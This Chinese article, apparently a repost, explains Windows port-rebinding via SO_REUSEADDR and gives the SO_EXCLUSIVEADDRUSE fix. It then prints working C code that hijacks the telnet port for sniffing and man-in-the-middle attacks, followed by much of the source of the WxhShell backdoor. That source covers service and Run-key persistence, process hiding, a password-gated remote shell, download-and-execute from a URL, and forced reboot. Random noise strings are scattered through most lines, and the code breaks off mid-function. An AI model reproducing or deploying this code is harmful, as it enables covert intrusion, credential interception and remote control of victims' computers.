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利用VC实现端口复用

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HP&+ 8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `2U zJ~  
s8eFEi  
  saddr.sin_family = AF_INET; W}nD#9tL  
$I+QyKO9k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <{7B ^'  
t&0pE(MO/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mmEr2\L  
Qnph?t>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [,$] %|6wt  
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  这意味着什么?意味着可以进行如下的攻击: MyAi)Mz~o  
 I=|b3-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tec CU[O  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b`fPP{mG  
X> =`{JS1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 IIs'm!"Y>  
WHMt$W}%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  KK}^E_v  
i5q VQo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z4{ H=  
hH|3s-o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $_% a=0  
,;hI yT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6:#zlKYJ  
i4&"-ujrm  
  #include G2zfdgW${/  
  #include @9-z8PyF  
  #include !A,]  
  #include    +A3@{ 2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CsJw;]dYI  
  int main() x{j|Tf3,G  
  { W{Ine> a'  
  WORD wVersionRequested; DHd9yP9-  
  DWORD ret; C /\)-^  
  WSADATA wsaData; iE!\)7y  
  BOOL val; }RDGk+x7|  
  SOCKADDR_IN saddr; oxha8CF]D  
  SOCKADDR_IN scaddr; >7p?^*&7;  
  int err; u-$(TyDEl|  
  SOCKET s; vzd1:'^t  
  SOCKET sc; $&I##od  
  int caddsize; S{zi8Oc6  
  HANDLE mt; :4;ZO~eq!  
  DWORD tid;   F /IXqj  
  wVersionRequested = MAKEWORD( 2, 2 ); B{PI&a9~s%  
  err = WSAStartup( wVersionRequested, &wsaData ); M6[&od  
  if ( err != 0 ) { OV_Y`u7YR  
  printf("error!WSAStartup failed!\n"); nK)U.SZ  
  return -1; `rN,*kcP  
  } I>B-[QEC  
  saddr.sin_family = AF_INET; 4U*J{''L  
   Om,+59ua*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !MOVv\@O  
hjtkq .@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #qtAFIm'  
  saddr.sin_port = htons(23); a4Qr\"Qm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]<V[H  
  { ~D PjTR  
  printf("error!socket failed!\n"); yO; r]`j0  
  return -1; {m.l{<H  
  } $h"tg9L^)  
  val = TRUE; ?~Fk_#jz,@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6-c3v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :GBWQXb G  
  { 3&^4%S{/  
  printf("error!setsockopt failed!\n"); 0,1:l3iu1M  
  return -1; N.vt5WP  
  } M,7A|?O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0&mOu #l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ELZCrh6*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3Un q 9  
n,q+EZd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }1VxMx@  
  { ]d=SkOq  
  ret=GetLastError(); L<'3O),}  
  printf("error!bind failed!\n"); dbQUW#<Q  
  return -1; BT.;l I  
  }  \09eH[  
  listen(s,2); jCa%(2~iQ7  
  while(1) rXPq'k'h#-  
  { w7 @fiH{  
  caddsize = sizeof(scaddr); 3(0k!o0 "  
  //接受连接请求 ze@NqCF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (A|Gb2X  
  if(sc!=INVALID_SOCKET) @KfFt R-;  
  { =ZR9zL=h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =Yg36J4[  
  if(mt==NULL) ?5_~Kn%2  
  { z-$bce9*  
  printf("Thread Creat Failed!\n"); XkLl(uyh  
  break; kscZ zXv  
  } G0 Q} 1  
  } aw&:$twbM  
  CloseHandle(mt); :8\!;!  
  } ,K'>s<}  
  closesocket(s); VJmX@zX9  
  WSACleanup(); >77N5 >]e  
  return 0; xOnbY U  
  }   |WqEJ*$,  
  DWORD WINAPI ClientThread(LPVOID lpParam) r2M Iw  
  { (&HAjB  
  SOCKET ss = (SOCKET)lpParam; pLjet~2}iJ  
  SOCKET sc; ~47Bbom  
  unsigned char buf[4096]; >{?~cNO&  
  SOCKADDR_IN saddr; _:DnF  
  long num; 5N<f\W,  
  DWORD val; 78zjC6}`  
  DWORD ret; (hWr!(>C4]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \n$s5i-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G- wQ weJ9  
  saddr.sin_family = AF_INET; +aR.t@D+"Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D;VQoO  
  saddr.sin_port = htons(23); 4+2XPaI m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RZ 4xR  
  { Y7(E<1Yx  
  printf("error!socket failed!\n"); ChO?Lm$y  
  return -1; uTTM%-DMHT  
  } })RT2zw}  
  val = 100; 1henQiIO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B7BXS*_b  
  { zea=vx>`  
  ret = GetLastError(); v'gP,UO-%D  
  return -1; {C3AxK0  
  } \i_y(;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) db#QA#^S  
  { |`d,r.+P7  
  ret = GetLastError(); ['~j1!/;6  
  return -1; '?7th>pC  
  } XN65bq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b Lag&c)  
  { 9ZFvN*Zf'  
  printf("error!socket connect failed!\n"); tgoOzk^  
  closesocket(sc); AE0d0Y~9  
  closesocket(ss); ' NCxVbyYD  
  return -1; yZk HBG4  
  } ^T*^L=L_(  
  while(1) x}Qet4vV  
  { dJID '2a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Xvu|ss  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y Nb&;E7 H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /xf4*zr  
  num = recv(ss,buf,4096,0); :a$ZYyD  
  if(num>0) / !J1}S  
  send(sc,buf,num,0); v l59|W6  
  else if(num==0) BMPLL2I  
  break; cfI5KLG~#  
  num = recv(sc,buf,4096,0); 6!P];3&o\A  
  if(num>0) ^@f%A<  
  send(ss,buf,num,0); 0w^\sf%s  
  else if(num==0) ZK,}3b{  
  break; M7z>ugk"  
  } CY2DxP%  
  closesocket(ss); .Rl58]x~  
  closesocket(sc); EGMj5@>  
  return 0 ; s!S,;H  
  } 5"(AqXoq  
t95hI DtD  
clfi)-^ {K  
========================================================== F jdh&9Zc  
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下边附上一个代码,,WXhSHELL qZRx,^gd  
nsR^TD;  
========================================================== uV1H iv-  
bDd$79@m  
#include "stdafx.h" bSHlR#!6  
N_S>%Z+  
#include <stdio.h> QYDTb=h~  
#include <string.h> 8\c= Un  
#include <windows.h> {MX_t/o=f  
#include <winsock2.h> XP'Mv_!Z  
#include <winsvc.h> <jd S0YT  
#include <urlmon.h> &We1i &w  
u*_I7.}9  
#pragma comment (lib, "Ws2_32.lib") UJ' +Z6d  
#pragma comment (lib, "urlmon.lib") g*$ 0G  
bm1+|gssn  
#define MAX_USER   100 // 最大客户端连接数 VU,\OOp  
#define BUF_SOCK   200 // sock buffer W}B 4^l  
#define KEY_BUFF   255 // 输入 buffer ,Yhy7w  
$$C5Q;7w!  
#define REBOOT     0   // 重启  v|+}>g  
#define SHUTDOWN   1   // 关机 VuTH"br6  
{m5tgVi&  
#define DEF_PORT   5000 // 监听端口 W"9iFj X  
N{n}]Js1D-  
#define REG_LEN     16   // 注册表键长度 6_/oVvd  
#define SVC_LEN     80   // NT服务名长度 '>FJk`iI  
H8 yc<  
// 从dll定义API KLBV(`MS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -,j J{Y~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .XM3oIaW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rN#ydw:9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _DfI78`(  
5vIuH+0  
// wxhshell配置信息 1xK'T_[  
struct WSCFG { 0@a6r=`el  
  int ws_port;         // 监听端口 \phG$4(7+  
  char ws_passstr[REG_LEN]; // 口令 ll;#4~iA  
  int ws_autoins;       // 安装标记, 1=yes 0=no &8t?OpB =h  
  char ws_regname[REG_LEN]; // 注册表键名 o:C:obiQbu  
  char ws_svcname[REG_LEN]; // 服务名 cn ,zUG!-h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =DTn9}u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gOw|s1`2,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~D@pk>I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )CS 7>Vx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AEkgm^t.{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &*g5kh{  
S8j;oJ2 d  
}; u&l2s&i  
n`f},.NM|  
// default Wxhshell configuration s%]-Sw9  
struct WSCFG wscfg={DEF_PORT, (\FjbY9&  
    "xuhuanlingzhe", }|f\'S   
    1, ( _]{[dFr%  
    "Wxhshell", 9Vk61x6  
    "Wxhshell", R7T"fN  
            "WxhShell Service", %kD WUJZ  
    "Wrsky Windows CmdShell Service", !7J;h{3Uw  
    "Please Input Your Password: ", Z91gAy^z<  
  1, FM9b0qE  
  "http://www.wrsky.com/wxhshell.exe", W#'c6Hq2c  
  "Wxhshell.exe" 7-Rn{"5  
    }; MnFem $ @  
b0LjNO@<  
// 消息定义模块 OB3AZH$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ><OdHRh@#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mr:*l`b_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lj%8(Xu  
char *msg_ws_ext="\n\rExit."; `(aU_r=  
char *msg_ws_end="\n\rQuit."; 4,f[D9|:  
char *msg_ws_boot="\n\rReboot..."; 9.e?<u*-z  
char *msg_ws_poff="\n\rShutdown..."; n]4)~ZIAU  
char *msg_ws_down="\n\rSave to "; heZ)+}U~  
93fKv  
char *msg_ws_err="\n\rErr!"; `u:U{m  
char *msg_ws_ok="\n\rOK!"; #c4LdZu9  
Jf`;F :  
char ExeFile[MAX_PATH]; M4M 4*o  
int nUser = 0; (d993~|h  
HANDLE handles[MAX_USER]; do*`-SDy  
int OsIsNt; R#tz"T@  
F']Vg31c  
SERVICE_STATUS       serviceStatus; 6 6x} |7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LYh5f#  
4M(w<f\5F  
// 函数声明 F~a5yW:R=)  
int Install(void); O|,+@qtH  
int Uninstall(void); Pb} &c  
int DownloadFile(char *sURL, SOCKET wsh); `(;d+fof  
int Boot(int flag); A4';((OXy  
void HideProc(void); s5|LD'o!  
int GetOsVer(void); 7x9YA$IE  
int Wxhshell(SOCKET wsl); &m8B%9w  
void TalkWithClient(void *cs); c%pW'UE&  
int CmdShell(SOCKET sock); C Cq<y  
int StartFromService(void); K1O/>dN_\O  
int StartWxhshell(LPSTR lpCmdLine); ml=1R >#'  
< Q\`2{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _1y|#o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2EE/xnwX  
H?40yu2m5  
// 数据结构和表定义 O,qR$#l   
SERVICE_TABLE_ENTRY DispatchTable[] = i BJ*6orz  
{ *sJx0<!M}  
{wscfg.ws_svcname, NTServiceMain}, F&lc8  
{NULL, NULL} #2yOqUO\  
}; nIph[Vs-Z  
ygpC1nN  
// 自我安装 d;lp^K M  
int Install(void) MBcOIy[&A  
{ j K[VEhs  
  char svExeFile[MAX_PATH]; a-!"m  
  HKEY key; y#AY+ >  
  strcpy(svExeFile,ExeFile); U YUIpe  
w])~m1yW  
// 如果是win9x系统,修改注册表设为自启动 >4M_jC.  
if(!OsIsNt) { N _pJE?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >;xEzc!W3*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rF~q"9  
  RegCloseKey(key); .U5+PQN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zz?+,-$_*&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }WI24|`zM  
  RegCloseKey(key); *B:{g>0  
  return 0; 7M;Y#=sR  
    } QH\*l~;B\  
  } ^ fK8~g;rB  
} ~w]1QHA'f  
else {  vA`[#(C  
5tq$SF42X  
// 如果是NT以上系统,安装为系统服务 }sJ% InL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0 SKt8pL`  
if (schSCManager!=0) ;t?pyFT2Z  
{ 3%EwA\V(  
  SC_HANDLE schService = CreateService aqzvT5*8%  
  ( #s yP=  
  schSCManager, HqYaQ~Dth  
  wscfg.ws_svcname, ;o^m"I\y  
  wscfg.ws_svcdisp, G#@<bg3  
  SERVICE_ALL_ACCESS, ;k/0N~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pNiqb+^nz  
  SERVICE_AUTO_START, 2~J|x+  
  SERVICE_ERROR_NORMAL, LiV]!*9$KG  
  svExeFile, >^InNJd  
  NULL, r456M-~  
  NULL, _%1.D0<~-E  
  NULL, 38'H-]8q"  
  NULL, T}!7LNE  
  NULL *DNH_8m  
  ); ,+'f unH  
  if (schService!=0) ZN4&:9M  
  { _cGiuxf #  
  CloseServiceHandle(schService); /=r&9P@Ay<  
  CloseServiceHandle(schSCManager); :cC`wX$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {Z?!*Ow  
  strcat(svExeFile,wscfg.ws_svcname); z0Zl'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R2J3R5 S=[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $(CHwG-  
  RegCloseKey(key); =u;q98r  
  return 0; sJM}p5V  
    } IBF>4q m"  
  } UT{N ly8u  
  CloseServiceHandle(schSCManager); _v $mGZpGY  
} W\KZFrV@  
} @ics  
R>0ta  Q  
return 1; ?1412Tq5  
} ?5GjH~  
*@BBlkcx  
// 自我卸载 (Q&z1XK3  
int Uninstall(void) /:USpuu  
{ [FCNW0NV  
  HKEY key; Bf* F ^  
A23Z)`  
if(!OsIsNt) { )7`~U"r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0>?mF]M  
  RegDeleteValue(key,wscfg.ws_regname); bg=`   
  RegCloseKey(key); ?b7vc^E&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gTQ6B,`/8  
  RegDeleteValue(key,wscfg.ws_regname); X|q0m3jt  
  RegCloseKey(key); zYs? w=  
  return 0; U NAuF8>K  
  } ?t%5/  
} <kM%z{p  
} &WRoNc  
else { .-34 g5  
d[Fsp7U}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .ZJh-cd  
if (schSCManager!=0) e| l?NXRX  
{ 2'}2r ~6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hs*:!&E  
  if (schService!=0) {Y/  
  { 02+^rqIx5  
  if(DeleteService(schService)!=0) { LaIif_fie^  
  CloseServiceHandle(schService); ){(cRB$  
  CloseServiceHandle(schSCManager); SMy&K[hJ[  
  return 0; LpiLk| 2i  
  } AP~!YwLW  
  CloseServiceHandle(schService); a* D|$<V  
  } \C6m.%%={R  
  CloseServiceHandle(schSCManager); (J;?eeP  
} e,4G:V'NX  
} F3f>pK5  
xAO ]u[J  
return 1; h7w<.zwu t  
} Bl1I "B  
]fc:CR  
// 从指定url下载文件 q>X:z0H  
int DownloadFile(char *sURL, SOCKET wsh) tsa6: D  
{ |% kK?!e+-  
  HRESULT hr; )- \w  
char seps[]= "/"; JjCf<ktE.  
char *token; *w6N&  
char *file; PDsLJ|:yL  
char myURL[MAX_PATH]; ";xEuX  
char myFILE[MAX_PATH]; A y`a>:p  
<w A_2S Y  
strcpy(myURL,sURL); Jzj~uz  
  token=strtok(myURL,seps); 2#[Y/p  
  while(token!=NULL) ~@O4>T+VW  
  { !6%mt}h  
    file=token; %In"Kh*  
  token=strtok(NULL,seps); h=tY 5]8  
  } E}GSii%S  
/6fPC;l  
GetCurrentDirectory(MAX_PATH,myFILE); M#p,Z F  
strcat(myFILE, "\\"); 'GyPl  
strcat(myFILE, file); =1(BKk>  
  send(wsh,myFILE,strlen(myFILE),0); 1W8W/Y=hT  
send(wsh,"...",3,0); r6)1Y`K=9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,ym;2hJ  
  if(hr==S_OK) +OmSR*fA0  
return 0; D^~g q`/)  
else 4ca-!pI0  
return 1; LNb![Rq  
4tU~ ^z  
} *LVM}| f  
"10VN*)J}  
// 系统电源模块 cmeyCyV*  
int Boot(int flag) aFym&n\  
{ {P5@2u6S  
  HANDLE hToken; m0,9yY::wj  
  TOKEN_PRIVILEGES tkp; g}-Z]2(c#  
kA_ 3o)J  
  if(OsIsNt) { yM2&cMHH~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LA+MX 0*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v3"xJN_,[p  
    tkp.PrivilegeCount = 1; $Da^z[8e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?X1#b2s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iQF}x&a<  
if(flag==REBOOT) { ~}AP@t*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {;E/l(HNI  
  return 0; (?!0__NN;  
} Kd)m"9Cc  
else { ss<'g@R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) abnd U,s  
  return 0; #77UKYj2L-  
} U VKN#"_{  
  } m+UdT854  
  else { Q(6(Scp{  
if(flag==REBOOT) { D2p6&HNT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u2< h<}Y  
  return 0; a:}"\>Aj  
} m =}X$QF`^  
else { ~'MWtDe:Z8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .B13)$C  
  return 0; G#: !wI  
} mW-W7-JhO7  
} clw91yrQn  
'qJ-eQ7e  
return 1; 02[II_< 1  
} R!,)?j;  
gxM8IQ  
// win9x进程隐藏模块 Jf$wBPg  
void HideProc(void) pG6-.F;  
{ 5XI*I( .%/  
A.O~'')X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^mpB\D)q  
  if ( hKernel != NULL ) .}N^AO=  
  { =fG8YZ(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @W8}N|jek  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ai4^NJn  
    FreeLibrary(hKernel); a`*WpP\+  
  } :$aW@?zAY  
%Be[DLtE"  
return; SWb5K0YRn  
} VWy:U#;+8  
lg >AWTW[  
// 获取操作系统版本 lM*O+k  
int GetOsVer(void) 2H[a Y%1T  
{ Nh9!lBm*]  
  OSVERSIONINFO winfo; ]ECZU   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e0HP~&BRs  
  GetVersionEx(&winfo); %}X MhWn{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }dJ ~Iy  
  return 1; 8 -;ZPhN&  
  else 3gy;$}Lq T  
  return 0; L0b] ^_ tI  
} }27Vh0v  
Vor9 ?F&w  
// 客户端句柄模块 IGT_ 5te  
int Wxhshell(SOCKET wsl) 7RE6y(V1  
{ B:4qW[U#  
  SOCKET wsh; ~^~RltY  
  struct sockaddr_in client; ZHlin#"  
  DWORD myID; \)ZX4rs{8  
-Y?(Zz_w  
  while(nUser<MAX_USER) *u'`XRJU/  
{ Wmxw!   
  int nSize=sizeof(client); $S8bp3)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OIty ]c  
  if(wsh==INVALID_SOCKET) return 1; L"7` \4  
a=.db&;vY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8M+F!1-#  
if(handles[nUser]==0) xKST-:c+  
  closesocket(wsh); P=[x!}.I  
else o!r4 frP  
  nUser++; MVP)rugU  
  } X]MM7hMuR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [e@OHQM  
P8,jA<W  
  return 0; , )pt_"-XA  
} H0 n@kKr  
W?J*9XQ`  
// 关闭 socket 2G5!u)  
void CloseIt(SOCKET wsh) ku9F N  
{ X/,1]  
closesocket(wsh); >m6,xxTR  
nUser--; yn ":!4U1  
ExitThread(0); SA 4je9H%  
} 2mU-LQ1WN  
rI66frbj  
// 客户端请求句柄 JvJ!\6Q@  
void TalkWithClient(void *cs) T>Rf?%o  
{ 5uJP) S?  
eKpxskbhZ  
  SOCKET wsh=(SOCKET)cs; _<F@(M5  
  char pwd[SVC_LEN]; ?Wz(f{Hm  
  char cmd[KEY_BUFF]; k=~pA iRDN  
char chr[1]; >wk=`&+V@  
int i,j; b;`#Sea  
VE"0 VB.  
  while (nUser < MAX_USER) { &R FM d=  
oy2dA  
if(wscfg.ws_passstr) { $4*E\G8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C+]q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YSz$` 7i  
  //ZeroMemory(pwd,KEY_BUFF); ?CW^*So  
      i=0; P}WhE  
  while(i<SVC_LEN) { X`v79`g_  
FlA\Ad;v  
  // 设置超时 X.AWs=:-  
  fd_set FdRead; 'j<:FUDJ  
  struct timeval TimeOut; [(P[qEY  
  FD_ZERO(&FdRead); <\9Ijuq}k  
  FD_SET(wsh,&FdRead); \ NSw<.  
  TimeOut.tv_sec=8; Nw$[a$^n  
  TimeOut.tv_usec=0; ^AjYe<RU}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,-I F++q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q'AnI$!  
M= q~EMH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2:HP5   
  pwd=chr[0]; {9|$%4kRl  
  if(chr[0]==0xd || chr[0]==0xa) { J(&M<<%  
  pwd=0; 0e:QuV2X  
  break; I1 R\Ts@  
  } @1SKgbt>  
  i++; 031.u<_  
    } I%Po/+|+  
b}?@syy8  
  // 如果是非法用户,关闭 socket Gp3nR<+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "tz0ko,(  
} p5# P r  
]^6y NtLK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~)m t&   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G5nj,$F+  
cM<hG:4%wX  
while(1) { 0@e}hv;  
{Fp`l\,  
  ZeroMemory(cmd,KEY_BUFF); s8yTK2v2\  
PxVI {:Uz  
      // 自动支持客户端 telnet标准   6v2RS  
  j=0; 3{I=#>;  
  while(j<KEY_BUFF) { .";tnC!e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E ^SM`  
  cmd[j]=chr[0]; xX&>5 "  
  if(chr[0]==0xa || chr[0]==0xd) { zEPx  
  cmd[j]=0; z1SMQLk  
  break; oB{}-[G  
  } "J[i=~(  
  j++; : ` 6$/DK  
    } id#k!*$7  
pJ$N@ID  
  // 下载文件 I bv_D$cT  
  if(strstr(cmd,"http://")) { At[n<8_|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =y-!k)t  
  if(DownloadFile(cmd,wsh)) 9>[.=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j#nO6\&o  
  else 8T.5Mhx0jS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #SihedWi  
  } 1l|A[ G  
  else { ; LF)u2x=  
0q>NE <L  
    switch(cmd[0]) { $kD`$L@U  
  9*TS90>a  
  // 帮助 &W)+8N,L  
  case '?': { [;IDTo!<>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hDD~,/yVxs  
    break; y5AXL5  
  } +%le/Pg@  
  // 安装 X~)V)'R  
  case 'i': { TH(Lzrbg  
    if(Install()) Ky '3z"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); THbtu*El  
    else 32bkouq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]g8i>,G  
    break; gM;)  
    } ;(Ajf.i  
  // 卸载 gGI#QPT`X  
  case 'r': { @^:7UI_  
    if(Uninstall()) Z*)y.i`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r_V2 J{B  
    else EYJi6#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ot2zhR )  
    break; mOz&6T<|  
    } p'%: M  
  // 显示 wxhshell 所在路径 ~*PK080N}  
  case 'p': { uku}Mr"p  
    char svExeFile[MAX_PATH]; lEyG9Xvi  
    strcpy(svExeFile,"\n\r"); WK_y1(v>  
      strcat(svExeFile,ExeFile); GEe 0@q#YA  
        send(wsh,svExeFile,strlen(svExeFile),0); m_E[bDON  
    break; ?LV-W  
    } _/N'I7g  
  // 重启 0x>/6 <<  
  case 'b': { L&DF,fWsF&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G1?0Q_RN  
    if(Boot(REBOOT)) _']%qd"%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 35%[D Ukb  
    else { N)vk0IM!  
    closesocket(wsh); }o!#_N0T  
    ExitThread(0); Xew1LPI  
    } StdS$XW  
    break; XYK1-m}2  
    } f- k|w%R@  
  // 关机 :Er^"9'A2  
  case 'd': { :!+}XT7)/  
